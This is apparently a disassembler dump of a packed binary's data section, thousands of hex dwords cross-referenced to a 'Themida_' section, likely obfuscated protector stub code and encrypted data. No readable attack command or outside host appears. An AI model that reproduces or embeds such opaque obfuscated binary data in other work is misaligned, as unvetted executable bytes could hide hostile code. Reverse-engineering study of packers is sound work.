dd 5B69F3CFh, 6AF88Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 0D6C35545h, 77AC21CEh, 0D2BB6280h, 0F53796ECh
dd 1E3D95FFh, 9E80607h, 10000000h, 2281360Ch, 0A329DCCh
dd 19119589h, 8D5B0607h, 0A93D58Dh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 30F22DF9h
dd 0B4249CB6h, 188D8589h, 0BB660607h, 0D1FF8D35h, 116DBD8Bh
dd 0BD830607h, 60719BDh, 0AB850F01h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0C440C351h, 82A327CEh, 6A574D41h, 57006A02h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 90052E87h
dd 0FCA7D7BBh, 32B7501Dh, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E992BCB0h
dd 6, 0A9DA9DE4h, 953222Dh, 72AE19Dh, 95FF5B06h, 6070791h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4C35242h
dd 89C96287h, 849BD8Bh, 3AE90607h, 0E800000Eh, 0
dd 3DED815Dh, 8A060C27h, 0BBFC8AF8h, 72BA8E6h, 843F858Dh
dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 741FCC3h, 3D27F86Bh, 0BD897186h, 6072345h
dd 13E96090h, 0E9000000h, 2B047E32h, 65B8BABEh, 10584CE1h
dd 0FE05F200h, 50613ACBh, 0EE9h, 0BAA86F00h, 0EB6D19C2h
dd 8EB5E6FCh, 90BA4E2Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 37C35747h, 0F8528E2h, 8B66DEBFh, 64D4B7FBh
dd 35FFh, 89560000h, 703519Dh, 89645B06h, 25h, 0C59D8B00h
dd 0FF06071Fh, 72F5985h, 6AFA8B06h, 51006AFFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 8261E591h
dd 0D8830087h, 0F7B3EA00h, 0CED78166h, 39B5FF30h, 6A060720h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0FE07C357h, 6A7AF155h, 0B70F609Bh, 14E9F2h
dd 9E470000h, 0ED479472h, 1345414Ah, 0D9F6EE80h, 989D42CCh
dd 89618DF2h, 7306D85h, 8995FF06h, 0E906072Bh, 0F8h, 2211BD8Bh
dd 0B00607h, 68B0Fh, 9D8B0000h, 6070C6Dh, 0BD8B70E6h, 607153Dh
dd 0C8BF71E4h, 3C7BA7F4h, 0CD830F61h, 66000000h, 0FF155BBh
dd 0BD8BC8B6h, 6070DC1h, 6BAh, 8D896000h, 6071365h, 6161F960h
dd 890FC18Bh, 6, 18B59D31h, 0E8C10607h, 0E2F76604h, 0CE9h
dd 86A4DD00h, 8E44FACAh, 98E090CFh, 8BC82BDFh, 70B099Dh
dd 8BD18B06h, 730499Dh, 76E906h, 8BF50000h, 47554C85h
dd 818D8949h, 8306072Ah, 0BD8B07C0h, 6071545h, 0E900C083h
dd 9, 0EF287C6Eh, 0E9A8541Eh, 0FD03B44h, 1083h, 0BD958900h
dd 0F906071Ah, 3BE9h, 8BFA8A00h, 0FF8D8BFAh, 8BFFFFFFh
dd 7075D9Dh, 1E18306h, 22840Fh, 0A5830000h, 0FFFFFFFFh
dd 0BD8B56FEh, 6071131h, 89B8B75Fh, 47554C95h, 51958949h
dd 0E906071Fh, 0
dd 0AB12B58Dh, 0FA8B060Bh, 6A006Ah, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 5B1220C3h
dd 95FF8583h, 6070D69h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 0E6C35040h, 0FB4AFF6Ah, 8693F545h, 0FDCB97Fh
dd 8B660000h, 0FCE183D9h, 0F3C78166h, 6AFC63h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 29C2AAC3h, 0B8791D54h, 0
dd 0A1BA6660h, 5985017Bh, 61060726h, 0B70FD22Bh, 0C233ADFBh
dd 0D003E8D1h, 7504E983h, 0FDCB3F4h, 5B56DFBFh, 880Dh
dd 1D9D8B00h, 8B060703h, 71AD995h, 0DF816606h, 9D8B9209h
dd 607117Dh, 101D8D8Bh, 0FBB70607h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 12BF5818h, 0BB65EB84h, 258C63EFh
dd 1D59D23h, 0BD830607h, 6070E29h, 0A3840F00h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0D66EC357h, 41B8A62Eh, 0B82Bh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 0E9FFB5C3h, 13h, 0B1408D98h, 81A2B796h, 990B7116h, 1958BBB6h
dd 8B7A743Bh, 722F99Dh, 9B8D8D06h, 0E806074Bh, 0Bh, 0D7466067h
dd 0A8565107h, 89A7860Bh, 71AF195h, 0E1FF5F06h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 1BC35545h, 0A9126E22h
dd 0BD83FE8Bh, 6073305h, 11840F00h, 6A000005h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 832FC350h, 73305BDh, 840F0106h, 503h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 17h, 0C5C35747h, 50D06C65h
dd 6918501h, 665F0607h, 0BD83DA8Bh, 6073305h, 96860F03h
dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 722EC353h, 60E05984h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 91C35242h, 8C66E5C6h
dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 9D89C62Dh, 0E180276Dh, 65858904h, 0A060712h
dd 66840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0CFDAC355h, 442B9A2Ch
dd 2A1D858Bh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 0E3BBAFC3h, 9116E14Fh, 6660B698h
dd 8B66D78Bh, 0E38061F2h, 0FD85334Fh, 6A06071Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 42EAC350h, 8589609Bh, 6071EA9h, 53565061h, 4895F5Bh
dd 0A9BF6624h, 0D7816695h, 6A364Ch, 28B99D8Bh, 0D8680607h
dd 0B3A07B9Dh, 2404815Ah, 5FA36627h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 11C35141h, 419D8BE1h, 0F9060712h
dd 9F995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0F340BFC3h, 9D8B2144h, 6071E21h
dd 0ADDF8589h, 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0E9E451C3h, 0Ch, 0B91FC9E0h, 1253E8E6h
dd 0DE37195Ch, 256E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 60A44896h, 8D89EF8Ah
dd 6071305h, 68D0F61h, 8B000000h, 72899BDh, 0D7858B06h
dd 6A060AADh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0A10EC353h, 0C79A813Eh, 1800h
dd 4D8D3100h, 8B06072Eh, 0AADDBB5h, 998D2906h, 8B060702h
dd 72BCD85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 0E8D0168Eh, 0D98B9DADh, 0BD890689h
dd 6070BB9h, 2A1D858Bh, 9D890607h, 6070835h, 12E1BD8Bh
dd 46890607h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 1F0A13C7h, 0ED0D36F0h, 0F5BD2B48h
dd 96060728h, 14E9h, 5AB9AB00h, 45AE06DEh, 7038B10Ah, 673D007h
dd 0FAE7029h, 0EE850EAh, 0AA000000h, 1571E30h, 0ADC83C27h
dd 0F3DFFD7Dh, 6A965B35h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 8D87C357h, 0D6F655E5h
dd 1EF98D89h, 95890607h, 60708E1h, 0ADD7B5FFh, 6A060Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0CCEE76C3h, 0C870FE9h, 0F000000h, 683h, 6D8D8900h, 0E8060726h
dd 4, 1F03FFh, 850Fh, 60500000h, 0F38BF28Bh, 24448B61h
dd 8B5F5204h, 52506000h, 0FD98B66h, 0F525031h, 5A585A31h
dd 6157B158h, 4244489h, 0AE9h, 0E0895300h, 72A7D01Bh, 5862D283h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0E4C35242h
dd 66975E2Bh, 821518F8h, 0F2BB6633h, 0DF858DCCh, 6A060AADh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 83CEC356h, 0FA8A508Eh, 6A240489h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 3017C356h, 95FFE965h, 60709F9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0F9C35343h, 6EBB66A5h, 61DE8B1Ch
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D0C35646h
dd 0E2D781A5h, 0E9719F42h, 8, 0F057B7B1h, 300A3A7Eh, 330585C7h
dd 30607h, 0BD8B0000h, 6072B9Dh, 0ADDFBD83h, 0F00060Ah
dd 4C84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 0DFF1A057h, 0CADBBCC7h, 3FE9h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 60E70F41h, 16F486C6h, 0C30502Eh, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 79C35242h, 6AD8BF0Fh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4A36C356h
dd 0DA59D89h, 0BD830607h, 6073305h, 7C850F03h, 0F000004h
dd 68Eh, 5D9D8900h, 83060713h, 0AADDFBDh, 840F0006h, 463h
dd 0DFB5FFF9h, 6A060AADh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 1215C352h, 2995FF7Eh
dd 9060721h, 721FDB5h, 0D3B58B06h, 6A060AADh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 0D7A9C353h, 54B357B0h, 0F3D3812Fh, 0C708BD93h, 1000106h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 0A0B2C4Eh, 0F455887h, 850FFABFh, 5, 604C56BBh
dd 8B669601h, 0BF6050FAh, 533FD3C5h, 9A4A05BEh, 23966104h
dd 725DDBDh, 0DFB5FF06h, 60060AADh, 68E0Fh, 958B0000h
dd 60729ADh, 6119C680h, 5195FFF5h, 6A060702h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 0AAFFC352h, 7E5D08C6h, 81FE6B1Dh, 39BAAEBh, 0D3B58B23h
dd 60060AADh, 8E9h, 0B75D8300h, 0F81B4893h, 6830FF7h, 89000000h
dd 714F595h, 858B6106h, 60712A1h, 10E8h, 1577A700h, 97581967h
dd 0A4D897B0h, 73C5BFD3h, 0CB816665h, 665B9614h, 8689FE8Bh
dd 0C4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 0E3C35343h, 0C00DDB15h, 394F2B03h, 0D9958B05h
dd 8B06071Ah, 707B5BDh, 4C28306h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 23C35747h, 59FDFF53h, 559D8952h
dd 5F060721h, 0E09CBF66h, 66205089h, 0CD5BDB81h, 0C170858Dh
dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 0A74375C3h, 85916D0Fh, 6E9950Ch, 0AE000000h
dd 7E32E9CEh, 85BD8B04h, 8906071Eh, 0B886h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 861AFE72h, 898938D0h, 732A99Dh, 6AFA8A06h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 0AF8D8CBh, 881DDDF6h, 4ABF666Dh, 0B19D8B0Ah, 0FF060728h
dd 0AADDFB5h, 8E906h, 0C16E0000h, 0DAF888D2h, 0E8BB9086h
dd 0FF3AE536h, 7079195h, 29958906h, 50060702h, 3489FA8Bh
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 0B4545A0Fh, 89CC6565h, 712B985h, 0FAB70F06h
dd 0ADDFB5FFh, 6A060Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 96B74FC3h, 32959D89h, 95FF0607h
dd 6072D09h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0F4C35141h, 526064D6h, 0B9F3BB66h, 6160605Eh, 0E96161F8h
dd 11h, 52E4403Ah, 0B7E0957Fh, 3D9EF83Ch, 86ADF3B7h, 0C1BD8361h
dd 60714h, 3C840Fh, 8B660000h, 14E9F9h, 68D10000h, 0A3076C5h
dd 14CC0BBEh, 19E20E3Fh, 939D1F4Dh, 0E950116Eh, 11h, 7DA6EDEBh
dd 0F99C8168h, 263002CEh, 0FED542D4h, 2434891Bh, 9D5BD8Bh
dd 0B5FF0607h, 60AADDFh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 79C35141h, 240E290Ch, 0D99D234Eh, 0FF060722h
dd 71F9595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 0DDF9AD2Ch, 7801CEF6h, 558D01BBh
dd 0FF060732h, 0AADDFB5h, 8840F06h, 0F000000h, 28Fh, 0FFDA8B00h
dd 702C195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0B7924703h, 37AB77Eh, 72B1DBDh, 65BD8306h
dd 2060728h, 58840Fh, 0B5010000h, 60704C1h, 0E69858Bh
dd 8A0F0607h, 22h, 820F60h, 0E8000000h, 14h, 2F0C3787h
dd 687C2E4Ch, 0B045EC6h, 9EB7B242h, 583849E2h, 0C66158h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 3D16A50Ch, 85C7967Fh, 6072A51h, 0
dd 0E9DEB70Fh, 0FFFFF2B7h, 25DD9D8Bh, 0C18B0607h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0FBC35343h, 0E6E65F68h
dd 29BBF8CFh, 703B19Dh, 10E806h, 6AE60000h, 45FB4AFFh
dd 7F8693F5h, 2EB586B9h, 8B660ACBh, 0BF6658DEh, 0C0814D31h
dd 6FA3h, 11E9h, 0F79F5000h, 4CCCE34Ah, 0E2279755h, 0FDD3E278h
dd 0D23389C5h, 9BB6651h, 348B5915h, 81FA8B10h, 0E34759F6h
dd 81CE8A41h, 77E541F6h, 0D19D2B02h, 8106071Dh, 7DA6FAF6h
dd 28F1814Dh, 89030BEEh, 74B71034h, 83D5CF80h, 0BF6601EAh
dd 4A4A5B5Dh, 699D8B4Ah, 8106071Eh, 0FF90E4FAh, 0B7850FFFh
dd 8BFFFFFFh, 701C59Dh, 0BA06h, 0EA81F00Eh, 0F0000000h
dd 8914C283h, 722F195h, 14EA8306h, 36A8858Dh, 6450060Ch
dd 35FFh, 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h
dd 8166FFFFh, 0F5A4D38h, 1285h, 50B70F00h, 81D0033Ch, 45503Ah
dd 0A840F00h, 2D000000h, 1000h, 0FFFFD9E9h, 89C88BFFh
dd 7231985h, 3C400306h, 650B70Fh, 13D19589h, 508B0607h
dd 25958950h, 5060712h, 0F8h, 30C508Bh, 0B59589D1h, 3060719h
dd 95890850h, 607221Dh, 58F64h, 83000000h, 13E904C4h, 51000000h
dd 10244C8Bh, 0B0A981h, 10000000h, 33590000h, 0BD83C3C0h
dd 6073335h, 24840F00h, 0C6000000h, 709CD85h, 0D2684706h
dd 0FFD49AA7h, 70D99B5h, 38858D06h, 0FF060A70h, 0FF006AD0h
dd 818589D0h, 8B06070Bh, 9B8D8DD3h, 0F060C37h, 68Eh, 3FF68100h
dd 8938C944h, 71AD98Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 4C63807Eh, 0FE98482h
dd 85C7DFB7h, 607101Dh, 692Ch, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 59C35141h, 2C892744h, 85C7C7CCh
dd 6073305h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D3C35747h
dd 1B5C34F6h, 51B5FF9Ch, 0FF060713h, 7185995h, 8FC08106h
dd 6A47DBA5h, 6995FF00h, 8B06070Dh, 0AB29EBC0h, 92720457h
dd 309C82F4h, 5E02E430h, 0A6E843A8h, 350BCDC2h, 3AB4234Fh
dd 767DFCF8h, 452AA598h, 0CC23274Eh, 0FC91B20Ch, 38C58D8Dh
dd 6A060Ch, 3E856h
dword_58FF94 dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
; DATA XREF: Themida_:0053D9B4o
dd 0F91446C3h, 0B2362F96h, 21BD8903h, 8B060720h, 709B995h
dd 0D98D8906h, 6A06071Ah, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 0CACEC352h, 0D6E64FB2h
dd 85C70376h, 607101Dh, 61C8h, 11E8h, 0DCE35A00h, 0AE1A962Ah
dd 2811611h, 0FA091F99h, 6653EC01h, 38EAF681h, 85C75A58h
dd 6073305h, 0
dd 0AE59D8Bh, 9D290607h, 60706E9h, 0BE9B5FFh, 6A0607h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0F23323C3h, 6EC67886h, 0D78BF88Bh, 185995FFh, 6A0607h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 2D6632C3h, 891CB669h, 71DC185h, 0FF006A06h, 70D6995h
dd 0EBC08B06h, 47FE695Eh, 2F0003A7h, 49997470h, 3CF4B485h
dd 72066A87h, 956ECF2Ch, 5469BAC9h, 3130A3DDh, 9168AD35h
dd 0D9700A7Ah, 3861FBB6h, 74E65D80h, 8589DE67h, 472AEFF4h
dd 0EDAF0D3h, 46B9BFD7h, 169385AEh, 7983EFC3h, 0E042A12Ah
dd 0E1436F5Ah, 0AF32A042h, 700196C3h, 0B89E8D36h, 0DEED9D09h
dd 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h
dd 0F1982633h, 0EF5E265Ah, 339F2FFEh, 0FFB44E60h, 0F867A5E4h
dd 0A09F2BAAh, 23A0A3BEh, 79672039h, 0CED1A3BAh, 0D71B2034h
dd 339F1506h, 831D2933h, 0C0982633h, 0AAA11EB6h, 0D6157635h
dd 0AF941F19h, 9D0DD963h, 839E2129h, 35982664h, 1F152359h
dd 4B941F09h, 8C1DAB63h, 39E2A0Ah, 0B0D1B3CCh, 14932034h
dd 6AA1A23Ch, 0B0152633h, 9C941F09h, 4DAACE63h, 0F6D82633h
dd 6AD8A3BEh, 24C8203Fh, 0D8A11CB6h, 0FF677635h, 339F2692h
dd 1794E2B0h, 41A11CB6h, 23157635h, 55941F19h, 0E00DD963h
dd 3D9E2129h, 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh
dd 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h
dd 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h
dd 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch
dd 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h
dd 0A8517F6Ch, 88152637h, 9C941F1Bh, 77C5ABBEh, 9320203Fh
dd 78000000h, 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh
dd 0B58DFFFFh, 60C3A5Dh, 3A7C8D8Dh, 0CF2B060Ch, 8B05E983h
dd 0CE8C8h
db 2 dup(0)
word_590242 dw 2F34h ; DATA XREF: Themida_:0053CE48o
dd 0DC05C8A4h, 872927A4h, 14E9C231h, 0BF000000h, 0E28BD511h
dd 0CEEE6834h, 9010C829h, 0DFDE857Bh, 5FBBD72Ah, 689BD89h
dd 0C7810607h, 58C3h, 2C55958Bh, 0C02B0607h, 11098D89h
dd 1C8B0607h, 75B58907h, 81060728h, 9C5954EBh, 0DE950h
dd 4B570000h, 62CB46FCh, 57FBACA5h, 815DCDD4h, 0A653E6EBh
dd 0F9BD893Ah, 8106072Eh, 0C6B69DC3h, 298D0325h, 89060712h
dd 81F5071Ch, 87007FF6h, 4E88313h, 0A7D8F881h, 850FFFFFh
dd 0FFFFFFAEh, 8E9h, 0E26F5300h, 609708B0h, 0F68D8D96h
dd 6A060C3Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0CB10C355h, 0F0CDB944h, 858B28F4h
dd 6070BC9h, 1AD98D89h, 6E90607h, 2000000h, 59FE23B9h
dd 1D85C70Ah, 28060710h, 6A00006Eh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0A523C355h
dd 99BD8983h, 0C7060723h, 7330585h, 6, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 0F08BF88Dh, 0BE9B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 977602C3h, 0E567E14Eh
dd 95FF96E7h, 6071859h, 1069BD89h, 6A0607h, 0D6995FFh
dd 0C08B0607h, 0E5F15EEBh, 6F0CF781h, 11E32525h, 0CA10C71h
dd 38C293F1h, 65E419EBh, 0D8007655h, 9AE53097h, 977946CAh
dd 0F71507DBh, 0BB11CDC0h, 4DA6BDFDh, 0FED92876h, 0DB02D37h
dd 7EF37237h, 1B705CDBh, 2AA8BF40h, 0F37F800Ah, 74061455h
dd 0C4740D47h, 0C8547E02h, 0C0371B55h, 5F0C470Dh, 378BC87Ah
dd 0FE8h, 5E68C400h, 880AA2B6h, 15870D80h, 1EEDF377h, 5AF6B70Fh
dd 81F7B70Fh, 66C8C2h, 0F59D3300h, 2B06072Eh, 0E99D8BC0h
dd 8B060707h, 8D8B023Ch, 60702F1h, 2344EF81h, 9E93E4Ch
dd 8000000h, 5E7F353Bh, 0DED69E83h, 8B0EEF81h, 0D88B54C8h
dd 3A99EF81h, 0B5897EC0h, 6070579h, 0E9023C89h, 11h, 46E9DA5Dh
dd 0F72CDADEh, 4CB0E651h, 39CC9EF9h, 6850FD4h, 31000000h
dd 711399Dh, 3E88306h, 4897C580h, 0E5B58960h, 89060720h
dd 708D1B5h, 0F8816106h, 0FFFF9A08h, 13850Fh, 0F500000h
dd 0E95BF1BFh, 29h, 7C1BFC6Eh, 93C4B3C7h, 0BF0F6027h, 49958BDFh
dd 61060712h, 0FFFF66E9h, 16BC14FFh, 4AF3D46h, 9E815A0Ah
dd 97818584h, 7B8D8DB3h, 6A060C3Eh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0CDF6C356h
dd 6B691B77h, 0BE60604Ah, 60417368h, 9E9h, 1CF39800h, 0E7395180h
dd 8061807Ah, 896195DCh, 71AD98Dh, 14E806h, 0D28A0000h
dd 0C5B89A43h, 1B644986h, 0D7517604h, 0C60E9B68h, 12E97914h
dd 8D000000h, 5C3139E3h, 470B2766h, 8B536F2Ah, 8AC4450h
dd 85C75FF3h, 607101Dh, 7508h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0ECC35545h, 40E43EBAh, 5532B6EEh
dd 2995899Dh, 0C7060712h, 7330585h, 6, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0D993365Eh, 65B58B07h, 0E806071Fh, 8, 10385111h, 0B83FAE20h
dd 5E616050h, 59B5FF5Ah, 6A060708h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0B0F2C356h
dd 0B5094078h, 607212Dh, 185995FFh, 6A0607h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E528C2C3h
dd 6A441502h, 6995FF00h, 8B06070Dh, 269EBC0h, 77229A4Dh
dd 0D065F126h, 0BCCFEA01h, 638B3483h, 552FCB29h, 32BAF8E8h
dd 0CA64B211h, 0DD788360h, 2F6A767Fh, 8E601FBAh, 27AD3AF3h
dd 87527C98h, 0EF54F3D0h, 533DE28Ah, 626B8111h, 87E1EE05h
dd 82E93EB9h, 65E7FABFh, 508EBFB6h, 0ABF06A01h, 0F882F68h
dd 6599A8A4h, 0EFE27CC8h, 0D18ABC08h, 0E0CEE74Dh, 655F3D36h
dd 64728914h, 3572E0D2h, 0F62BC31Dh, 113E6AD7h, 11366243h
dd 3572F7A7h, 0F623A2D1h, 8A7DB358h, 0F5F9BC8Eh, 0DD20E350h
dd 3572E31Eh, 6FB1B9AEh, 3156B7CEh, 3156A722h, 3572E3CBh
dd 4FB1B1AAh, 0CA2EE1Fh, 0B57D182Ah, 3572E31Eh, 0B4BB5C81h
dd 89868484h, 0F8CF608Ch, 3574E4CBh, 88F1EA9Dh, 3375F241h
dd 656B973Ah, 8DB2684Eh, 3572E78Dh, 2A0F66CEh, 0A8FFE5A4h
dd 337B4E11h, 6D293017h, 24475EF7h, 4172E53Dh, 8D21B30Ah
dd 3572E78Dh, 2A0F66CEh, 0A8FFE5A4h, 337B497Eh, 6D293017h
dd 2A7B6E57h, 3518E53Dh, 35710B4Ch, 6C52E38Eh, 79FBBA84h
dd 71F3E787h, 3568E7F5h, 6433E3E8h, 0D5419AB7h, 0CFCA7A5Fh
dd 35756012h, 8E20E38Eh, 4A497A40h, 357A0BFCh
db 0D1h, 0E3h
word_590782 dw 62h ; DATA XREF: Themida_:0053E808o
dd 0CE1271AEh, 0A8F9D78Fh, 3375E627h, 0BEB26842h, 3252EA1Bh
dd 0EDFE8541h, 0DABE0A22h, 88FB8FC9h, 3375C3A1h, 0B17DE7DCh
dd 3572E085h, 3572F0F4h, 0CE03858Eh, 848730FDh, 0AD9B2792h
dd 0E256BE4Fh, 0F35F82Dh, 1D0B5EF7h, 3A72E53Dh, 3572C599h
dd 6772898Eh, 3572E0AFh, 0F628C3A3h, 11266A8Bh, 113662ECh
dd 3572F570h, 0F620A13Ah, 0DCC843E7h, 3572E0F9h, 8BB95448h
dd 3772C4A3h, 0FF6886h, 6F74E4F8h, 0B2AD66F9h, 3518E530h
dd 35710B4Fh, 6F52E38Eh, 61FBB984h, 71F3E787h, 3565E7F5h
dd 6730E3E8h, 95CC92B7h, 0A6825AA4h, 0E58DE7D6h, 381F6607h
dd 8E14E540h, 0F5F7E04Ch, 35DC67DEh, 0B8F9E3E8h, 3375CE59h
dd 5325DBBBh, 0B07D189Ch, 3572E39Ah, 3143764Eh, 0B414E5A4h
dd 3770E7A9h, 363267E7h, 4AC3E374h, 0A94A625Ch, 48F7EC7Dh
dd 672E38Eh, 327346CAh, 370A63A5h, 58F7EC39h, 3672E3E8h
dd 32508AE9h, 4DF3853Ch, 3AD9E31Bh, 3572B80Bh, 65728947h
dd 3572E04Bh, 0F62AC3D1h, 11366AB0h, 11366270h, 3572F53Eh
dd 0F622A31Dh, 0DC0A5D77h, 3572E357h, 4DD8520Fh, 81020C4Bh
dd 0E15E92D9h, 12827574h, 35703AD3h, 6772891Dh, 3572E066h
dd 0F628C347h, 11266AF9h, 113662D5h, 3572F6ECh, 0F620A174h
dd 8073302Bh, 3375EC18h, 3473E330h, 0B8075401h, 3FF53C26h
dd 0E2F385D7h, 827DF28Ah, 5FA21C8Eh, 369AB23Ah, 1572E31Dh
dd 0BC2B20D7h, 0B476C70Bh, 2076C7E7h, 7472E3D1h, 61AE20B9h
dd 373F00F5h, 0F5F7F981h, 374B6712h, 279AE38Eh, 1372E347h
dd 3706C02Ch, 0BE55059Fh, 0DB8A4FFCh, 0DB725F2Ah, 0A4CF684Ch
dd 6F74E418h, 814DB0Fh, 0B07DE145h, 3572E398h, 6335E58h
dd 4DF3E5EFh, 6A4F8572h, 2F6EC40h, 5F72E31Fh, 369AB08Eh
